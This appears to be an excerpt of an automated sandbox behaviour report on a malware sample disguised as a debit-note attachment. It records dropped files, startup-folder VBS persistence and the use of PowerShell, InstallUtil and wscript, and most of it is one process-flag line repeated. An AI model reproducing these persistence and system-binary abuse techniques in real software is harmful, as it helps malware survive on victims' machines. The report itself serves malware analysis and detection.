Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

File created: C:\Users\user\AppData\Roaming\app.exe

Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs

Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
